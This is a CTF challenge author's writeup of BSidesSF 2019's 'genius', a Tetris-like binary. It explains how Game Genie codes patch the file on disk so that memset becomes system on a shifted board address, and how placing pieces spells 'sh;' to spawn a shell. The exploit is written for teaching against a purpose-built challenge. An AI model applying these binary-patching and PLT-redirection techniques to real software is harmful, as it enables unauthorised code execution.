Hey all,
This is going to be an author’s writeup of the BSidesSF 2019 CTF challenge: genius!
genius is probably my favourite challenge from the year, and I’m thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!
It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it’s up to the player to reverse engineer them. Fortunately, for this writeup, we’ll have source to reference as needed! Ultimately, the player is expected to gain code execution by tricking genius into running system(“sh;”);, with the help of loader (at least, that’s how I solved it and that’s how others I talked to solved it). A hint to that is given when the game is initially started:
$ ./genius In case it helps or whatever, system() is at 0x80485e0 and the game object is at 0x804b1a0. :)
After that, it starts displaying a Tetris-like commandline game, with the controls ‘a’ and ‘d’ to move, ‘q’ and ‘e’ to rotate, and ‘s’ to drop the piece to the bottom.
Here’s what the game board looks like with the first block (an ‘O’) falling:
+----------+ | | | | | | | | | | | ** | | ** | | | | | | | | | | | | | | | | | | | | | | | | | | | | | +----------+ Score: 0
And after some blocks fall:
+----------+ | | | | | | | | | | | | | | | | | | | | | | | | | | | * | | * | | ** | | # | | ## | | # | | ## # | | ## ###| +----------+ Score: 3000
Simple enough! No obvious paths to code execution yet! But… that’s where loader comes in.
Loader
When loader runs, it asks for a “Game Genius code”:
$ ./loader Welcome to the Game Genius interface! Loading game... ... Loaded! Please enter your first Game Genius code, or press <enter> to continue!
Some players may guess by the name and format, and others may reverse engineer it, but the codes it wants are classic NES Game Genie codes.
I found an online code generator written in JavaScript (it’s not even online anymore so I linked to the archive.org version) that can generate codes. I only support the 6-character code - no “Key” value.
Interestingly, the code modifies the game on disk rather than in-memory. That means that the player has access to change basically anything, including read-only data, ELF headers, import table, and so on. After all, it wouldn’t be NES if it had memory protection, right?
So the question is, what do we modify, and to what?
The code
We’re going to look at a bit of assembly now. In particular, the printf-statement at the start where the address of system is displayed looks like this:
.text:08049462 push offset dword_804B1A0 .text:08049467 push offset _system .text:0804946C push offset aInCaseItHelpsO ; "In case it helps or whatever, system() "... .text:08049471 call _printf
dword_804B1A0 is a bit array representing the game board, where each bit is 1 for a piece, and 0 for no piece. set_square and get_square are implemented like this, in the original C:
void set_square(int x, int y, int on) { int byte = ((y * BOARD_WIDTH) + x) / 8; int bit = ((y * BOARD_WIDTH) + x) % 8; if(on) { game.board[byte] = game.board[byte] | (1 << bit); } else { game.board[byte] = game.board[byte] & ~(1 << bit); } } int8_t get_square(int x, int y) { int byte = ((y * BOARD_WIDTH) + x) / 8; int bit = ((y * BOARD_WIDTH) + x) % 8; return (game.board[byte] & (1 << bit)) ? 1 : 0; }
As you can see, game.board (which is simply dword_804B1A0, which we saw earlier) starts are the upper-left, and encodes the board left to right. So the board we saw earlier:
... | # | | ## | | # | | ## # | | ## ###| +----------+
Is essentially …0000010000000001100000000010000000011000100001100111 or 0x00…00401802018867. That’s not entirely accurate, because each byte is encoded backwards, so we’d have to flip each set of 8 bits to get the actual value, but you get the idea (we won’t encode by hand).
After the game ends, the board is cleared out with memset():
.text:08049547 push 1Ah ; n .text:08049549 push 0 ; c .text:0804954B push offset dword_804B1A0 ; s .text:08049550 call _memset
There’s that board variable again, dword_804B1A0!
That _memset call is where we’re going to take control. But how?
The exploit, part 1
First off, when memset is called, it jumps to this little stub in the .plt section:
.plt:08048620 ; void *memset(void *s, int c, size_t n) .plt:08048620 _memset proc near ; CODE XREF: main+57p .plt:08048620 ; main+150p .plt:08048620 FF 25 30 B0 04 08 jmp ds:off_804B030 .plt:08048620 _memset endp
That’s the .plt section - the Procedure Linkage Table. It’s an absolute jump to the address stored at 0x804B030, which is the address of the real _memset function once the dynamic library is loaded.
Just above that is _system():
.plt:080485E0 ; int system(const char *command) .plt:080485E0 _system proc near ; DATA XREF: main+67o .plt:080485E0 FF 25 20 B0 04 08 jmp ds:off_804B020 .plt:080485E0 _system endp
It looks very similar to _memset(), except one byte of the address is different - the instruction FF2530B00408 becomes FF2520B00408!
With the first Game Genius code, I change the 0x30 in memset() to 0x20 for system. The virtual address is 0x08048620, which maps to the in-file address of 0x620 (IDA displays the real address in the bottom-left corner). Since we’re changing the third byte, we need to change 0x620 + 2 => 0x622 from 0x30 to 0x20, which effectively changes every call to memset to instead call system.
Entering 622 and 20 into the online game genie code generator gives us our first code, AZZAZT.
The exploit, part 2
So now, every time the game attempts to call memset(board) it calls system(board). The problem is that the first few bits of board are quite hard to control (possibly impossible, unless you found another way to use the Game Genius codes to do it).
However, we can change one byte of the instruction push offset dword_804B1A0, we can somewhat change the address. That means we can shift the address to somewhere inside the board instead of the start!
Since I have sourcecode access, I can be lazier than players and just set them to see what it’d look like. That way, I can look at putting “sh;” at each offset in the board to see which one would be easiest to build in-game. When I started working on this, I honestly didn’t even know if this could work, but it did!
I’ll start with the furthest possible value to the right (at the end of the board):
game.board[BOARD_SIZE-3] = 's'; game.board[BOARD_SIZE-2] = 'h'; game.board[BOARD_SIZE-1] = ';';
That creates a board that looks like:
... | | | ## ##| |# # ## | |## ### | +----------+
That looks like an awfully hard shape to make! So let’s try setting the next three bytes towards the start:
game.board[BOARD_SIZE-4] = 's'; game.board[BOARD_SIZE-3] = 'h'; game.board[BOARD_SIZE-2] = ';'; ... | | | ## | |### # #| |# ## ### | | | +----------+
That’s still a pretty bad shape. How about third from the end?
game.board[BOARD_SIZE-5] = 's'; game.board[BOARD_SIZE-4] = 'h'; game.board[BOARD_SIZE-3] = ';'; ... | | | ##| | ### #| | ## ## ###| | | | | +----------+
That’s starting to look like Tetris shapes! I chose that one, and tried to build it.
First, let’s see which bytes “matter” - anything before “sh;” will be ignored, and anything after will run after “sh” exits, thanks to the “;” (you can also use “#” or “\0”, but fortunately I didn’t have to):
... | | | ##| |##########| |##########| |## | | | +----------+
All we really care about is setting the 1 and 0 values within that block properly.. nothing else before or after matters at all.:
| | | 11| |0011100001| |0110110111| |00 | | | +----------+
If we do a bit of math, we’ll know that that value starts 0x15 bytes from the start of board. That means we want to change push offset dword_804B1A0 to push offset dword_804B1A0+0x15, aka push offset dword_804B1B5
In the binary, here is the instruction (including code bytes):
.text:0804954B 68 A0 B1 04 08 push offset dword_804B1A0 ; s .text:08049550 E8 CB F0 FF FF call _memset
In the first line, we simply want to change 0xA0 to 0xB5. That instruction starts at in-file address 0x154B, and the 0xA0 is one byte from the start, so we want to change 0x154B+1 = 0x154C to 0xB5.
Throwing that address and value into the Game Genie calculator, we get our second code: SLGOGI
Playing the game
All that’s left is to play the game. Easy, right?
Fortunately for players (and myself!), I set a static random seed, which means you’ll always get the same Tetris blocks in the same order. I literally wrote down the first 20 or so blocks, using standard Tetris names. These are the ones that I ended up using, in order: O, S, T, J, O, Z, Z, T, O, Z, T, J, and L
Then I took a pencil and paper, and literally started drawing where I wanted pieces to go. We basically want to have a block where you see a ‘1’ and a space where you see a ‘0’. Blank spaces can be either, since they’re ignored.
Here’s our starting state, once again:
| | | 11| |0011100001| |0110110111| |00 | | | +----------+
Then we get a O block. I’ll notate it as “a”, since it’s the first block to fall:
| | | 11| |0011100001| |0110110111| |00aa | | aa | +----------+
So far, we’re just filling in blanks. The next piece to fall is an S piece, which fits absolutely perfectly (and we label as ‘b’):
| | | 11| |00bb100001| |0bb0110111| |00aa | | aa | +----------+
Then a T block, ‘c’, which touches a 1:
| | | 11| |00bb100001| |0bb0110c11| |00aa cc | | aa c | +----------+
Then J (‘d’):
| | | 1d| |00bb10000d| |0bb0110cdd| |00aa cc | | aa c | +----------+
Then O (‘e’):
| | | 1d| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then Z (‘f’), which fills in the tip:
| | | f| | ff| | fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then Z (‘g’) - here we’re starting to throw away pieces, all we need is an L:
| | | f| | gg ff| | gg fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then T (‘h’), still throwing away pieces:
| | |h | |hh f| |hgg ff| | gg fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then O (‘i’), throw throw throw:
| | |h ii | |hhii f| |hgg ff| | gg fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then Z (‘j’), thrown away:
| | | j| |h ii jj| |hhii jf| |hgg ff| | gg fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then T (‘k’), thrown away:
| | | k | | kk| | kj| |h ii jj| |hhii jf| |hgg ff| | gg fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
Then J (‘m’):
| | | m k | | m kk| |mm kj| |h ii jj| |hhii jf| |hgg ff| | gg fd| |00bb10000d| |0bb0110cdd| |00aaee cc | | aaee c | +----------+
And finally, the L we needed to finish the last part of the puzzle (‘o’):
| | | m k | | m kk| |mm kj| |h ii jj| |hhii jf| |hgg ff| | ggo fd| |00bbo0000d| |0bb0oo0cdd| |00aaee cc | | aaee c | +----------+
I literally drew all that on paper, erasing and moving stuff as needed to get the shape right. Once I had the shape, I figured out the inputs that would be required by literally playing:
- as
- qaas
- eddds
- qdddds
- ds
- ddddds
- qaas
- eaaaas
- as
- ddddds
- edddds
- aaaaas
- eas
Followed by ‘s’ repeated to drop every piece straight down until the board fills up and the game ends.
To summarize
So here is the exploit, in brief!
Run ./loader in the same folder as genius (or user the Dockerfile).
Enter code 1, AZZAZT, which changes memset into system
Enter code 2, SLGOGI, which changes system(board) to system(board+0x15)
Play the game, and enter the list of inputs shown just above.
When the game ends, like magic, a shell appears!
+----------+ | * | | *#* | | ### | | ## | | ## | | # | | ## | | # | | #### | | # | | ### # | |# # ##| |##### ##| |# ### ##| |#### ##| |### ##| | ### ##| | ### #| | ## ## ###| | #### ## | | #### # | +----------+ $ pwd /home/ron/projects/ctf-2019/challenges/genius/challenge/src $ ls blocks.h genius genius.c genius.o loader loader.c loader.o Makefile
And there you have it!
Comments
Join the conversation on this Mastodon post (replies will appear below)!
Loading comments...